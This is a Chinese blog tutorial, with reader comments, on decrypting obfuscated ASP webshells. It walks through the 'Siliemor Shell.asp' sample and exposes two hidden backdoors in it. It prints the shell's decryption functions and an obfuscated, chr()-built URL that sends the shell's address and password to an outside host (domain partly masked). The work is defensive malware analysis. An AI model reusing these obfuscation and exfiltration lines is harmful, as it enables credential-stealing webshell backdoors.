• 欢迎访问金刀客博客!
  • 2019,春节快乐!

浅析解密ASP文件

原创天空 admin 13167次浏览 已收录 9个评论

浅析解密ASP文件
第一次接触asp文件的解密时就被这些乱码深深的吸引了,希望能从中找到解密的良方,于是开始了对asp文件解密的探索之路,经过一段时间的摸索和研究,对于asp文件的加解密有了一定的了解,写这篇文章作为对我这段时间学习的一个总结,同时将我这段时间学习到的经验分享给大家,WEBSHELL Decoder & Encoder也作为这段时间学习的一个成果。
要弄明白ASP文件的解密就必须首先了解asp文件的运行原理,不明白asp文件运行原理那么是无法进行解密的。现在常见的交互式动态网页技术有CGI, ASP, JSP,PHP及c#等.net语言,而asp语言提供了一个在html中使用脚本文件文件的框架,常见的脚本有Microsoft VBScript和Microsoft Jscript,而我们用的比较多的就是vbscript脚本。asp语言属于解释执行类语言,它是按照顺序一条一条来解释执行,必须是完整正确的明文代码解释器才会执行,这个asp语言的先天不足就决定了它的加密是完全可逆的,有些朋友问我怎样实现asp不可逆的加密,我想这是不可能的,语言的先天性就决定这一点。可能有些朋友会问vbscript.encode不就是不可逆的吗?非也,它同其它的自定义加密函数一样,只是这个解密函数没有包含在asp文件中而是集成到了asp.dll中,只要在asp文件中检测到有LANGUAGE = VBScript.Encode,它就会调用解密函数进行解密,然后逐行执行之,现在如果想做到不被解密只有寄希望于微软重新编写vbscript.encode。
相信很多朋友解密asp文件遇到的第一个难关就是vbscript.encode的加密。对于这个微软的这个加密网上已经出来了完全解密的方法,在线的vbscript.encode解密网站都很多,需要注意的是当asp文件中含有“×”这类特殊字符时,程序将退出,这是编码原因引起的错误,只要将这个特殊字符进替换成别的字符继续解密即可。
进行了vbscript.encode解密后,只是剥下了这个文件第一层壳,后面的基本都是自定义函数加密了。
asp文件的运行需要一定的脚本环境的支持,由服务器来执行asp文件中的脚本代码,对于microsoft用户来说这个环境为IIS,那么从运行环境角度来进行解密是一个方向,这个解密的特点就是必须架设iis运行asp文件来解密。另外一个方向我们可以从脚本本身这个角度来进行解密,从这个角度解密不需要iis环境的支持,而是直接解密。
先说在iis环境中进行解密。毫无疑问要先在系统架设好iis环境。因为这个加密都要通过ExeCuTe执行解密函数对加密字符进行解密然后执行,所以如果我们将执行换成输出函数,那么就将得到明文。对于这个解密,我介绍三种方法。
第一种是我比较喜欢的fso方法,来一段源码

ShiSan=”~殺>ELBAT/<殺 etirW.esnopseR~殺>RT/< 殺 etirW.esnopseR~殺>DT/< 殺 etirW.esnopseR~fi dnE~殺 殺 etirW.esnopseR~殺>殺殺;)1-(og.yrotsih殺殺=kcilCno 回返=eulav nottub=epyt TUPNI< 殺 etirW.esnopseR~eslE~殺 殺 etirW.esnopseR~殺>殺殺;)(esolc.wodniw殺殺=kcilcno 闭关=eulav nottub=epyt TUPN”:ExeCuTe(UZSS(ShiSan))

这段代码ShiSan的值就是加密后的字符,UZSS是解密函数,那么我们可以这样设计,在ExeCuTe(UZSS(ShiSan))后面加如下语句,

set fs=server.CreateObject(“scripting.filesystemobject”)
set outpout=fs.CreateTextFile(server.mappath(“ok.asp”),True)
outpout.Write(ShiSanFun(ShiSan))

那么将在这个asp文件的同目录下生成包含明文的ok.asp.这个是利用fso方法获取源码。
第二种方法,原理一样,只是代码不同。在文件头部写入这个过程

Sub Write2File(strFile, strContent, blnAppend)
On Error Resume Next
Set objFSO = Server.CreateObject(“Scripting.FileSystemObject”)
If blnAppend Then
Set objWriteText = objFSO.OpenTextFile(strFile,8,True)
Else
Set objWriteText = objFSO.OpenTextFile(strFile,2,True)
End If
objWriteText.WriteLine (strContent)
Set objWriteText = Nothing
Set objFSO = Nothing
Select Case Err
Case 424 Response.Write “路径未找到或者该目录没有写入权限.”
Case Else Response.Write Err
End Select
End Sub

只要在需要解密的地方加入

Write2File “M:\加密解密\test\1.txt”, ShiSanFun(ShiSan), True

这句话,修改ShiSanFun(ShiSan)为变量值,输出文件的路径需要是绝对路径,那么运行文件明文就将写入1.txt。这个方法的优点就是函数化了,可以多次使用。
第三种方法,通过Server.HTMLEncode方法来实现直接输出。代码如下:

Function Outpoutstr(objstring)
Response.Write(“

"& Server.HTMLEncode(objstring) & "

“)
End Function

然后将ExeCuTe(UZSS(ShiSan))修改为Outpoutstr(ShiSanFun(ShiSan)),之后运行文件,明文就输出在游览器中。
对于那种整体加密,在最后通过一个execute来执行所有解密的文件来说,那么用上面的方法是最简单有效的。但是如果asp文件中有几十处加密,也就意味着有几十处ExeCuTe需要替换,那么明文文件的还原将是一个巨大的工作。对于这个难题,从脚本本身的角度来解决将变得容易,基于这个想法,我写了WEBSHELL Decoder & Encoder这个软件。众所周知,asp中的vbscript脚本语法和vb语言的语法是相同的,那么意味着asp中的解密函数可以在vb程序中直接调用,从而免去转换解密函数的麻烦。下面以一个动画解密一个具体实例Siliemor Shell.asp文件来说明asp文件的解密。
下面是动画说明:

解密一个具体实例Siliemor Shell.asp文件来说明asp文件的解密,看一下这个文件,很明显,首先是vbscript.encode,处理一下。
这样我们脱掉了第一层壳,看下这个文件,shellcode.asp已经完全解密,看到有2个解密函数,以为着2中加密。
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, “╁”, “”””):For ShiSanI = 1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else:ShiSanNewStr = vbCrLf & ShiSanNewStr
End If:Next:ShiSanFun = ShiSanNewStr:End Function
Function UZSS(objstr)
objstr = Replace(objstr, “殺”, “”””):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> “~” Then
NewStr = Mid(objstr, i, 1) & NewStr
Else
NewStr = vbCrLf & NewStr
End If:Next:UZSS = NewStr:End Function
先看第一个加密,十三的加密,我们处理下,参数都默认,无需修改,直接解密,可看到有2处,保存下,已经解密!
现在看第二个函数,形式一样,只是参数和函数名有点变化,设置下。可见这个函数总共有44处加密,保存结果。
比较下是否解密,已经解密,全部是明文。
现在这个shell就完全解密,现在找下后门。看到了xmlhttp就意味着可能是后门了,我们试试看。
很明显,这是在密码输入正确后执行的代码,我们运行下。
看到了吧,http://www.*******.cn/123/test.asplocalhost/shellcode2.asp — 1
后门已经完全出来了,我们的shell地址和密码全都发送给这个test.asp了。
好,继续往下看
这里是另外一处后门了,我们解密看下,
再次运行文件
这一处的后门地址已经出来了
http://%38%63%63e%2E%63%6f%6d/%61%62/?%75=localhost/shellcode2.asp&p=1
这个地址也可以自己找下
&chr(37)&”38″&chr(37)&”63%63″&chr(101-pos)&”%2E”&chr(37)&”63%6f”&chr(37)&”6d/%”&(61+pos)&”%”&(62+pos)&”/?%75=”&Serveru&”&p=”&UserPass
chr(37)是“%“,pos为0,没有赋值,那么这句话可以变为
%38%63%63%101%2e%63%6f%6d/%61%62/?%75=”&Serveru&”&p=”&UserPass
和上面是一样的,再次解密上面的地址。
http://*****8.com/ab/?u=localhost/shellcode2.asp&p=1
这个就是最终的后门地址。
好了,整个解密就到这里了,
再见
www.daokers.com

WEBSHELL Decoder & Encoder截图:

观看动画(由于分辨率较高建议下载后观看,如果在线观看建议使用TT在新窗口播放动画):
[swf=800,600]attachments/month_0911/浅析ASP文件的解密.swf[/swf]
动画下载地址:
浅析ASP文件的解密


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明浅析解密ASP文件
喜欢 (5)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到
(9)个小伙伴在吐槽
  1. 请问特殊符号×怎么处理,用工具解密不完全,卡住了
    admin 于 2012-04-22 11:05 PM 回复
    程序缺陷,没有考虑到这些字符
    linzi2012-04-22 06:10 回复
  2. 把工具也分享了吧?
    linzi2012-04-22 04:27 回复
  3. WEBSHELL Decoder & Encoder 在哪里下载呀?
    admin 于 2010-06-22 03:08 PM 回复
    没发布
    theend2010-06-22 12:34 回复
  4. 目前正解密ASP文件,用了一下工具,进行了vbscript.encode解密后,剥下第一层壳。由于有中文,一些工具对中文支持不好!只好比较着来用了~~。解密后的代码经分析,使用了反项字符串函数,工具转换为正向。查看代码,有些清晰了。但仔细看,到还有加密。。苦于知识不足。。。得继续充电~。看到这篇文章,了解到解密ASP文件的大体思路是对的,加密算法方面的经验不足,工具方面不太应手~~。教程很好,谢谢!
    admin 于 2010-06-11 11:06 PM 回复
    欢迎多多交流,你这个解密主要是要看他的解密函数,然后就容易了。把文章的结构分析清楚就很好弄了
    findgood2010-06-11 11:31 回复
  5. 分析思路写的不错~
    admin 于 2010-05-11 11:46 AM 回复
    ^_^
    youstar2010-05-11 10:58 回复
  6. 动画无法下载,支持阁下
    admin 于 2010-05-11 00:30 AM 回复
    恩恩,我发现一个问题了,明天调整

    admin 于 2010-05-11 00:31 AM 回复
    不对啊,我刚刚测试可以下载的哦
    wei188cn2010-05-10 21:40 回复
  7. 做个教程就好了 就需要这方面的东东
    admin 于 2010-02-10 10:32 PM 回复
    照葫芦画瓢就差不多哦,做教程没那么多精力啊,如果有交流的意向,可以去刀城玩玩
    zglt20082010-02-09 12:03 回复
  8. 大哥.工具哪有下的啊
    admin 于 2010-02-10 10:32 PM 回复
    没有下载的,现在没发布
    wwwbaiducom2010-01-04 14:01 回复
  9. 动画无法下载,支持阁下
    金刀客 于 2010-01-01 00:43 AM 回复
    呵呵,多谢,好像对中文支持不大好,我明天看看

    金刀客 于 2010-01-01 09:34 PM 回复
    可以下载了,有空帮俺顶顶,:-D
    w00d2009-12-31 22:09 回复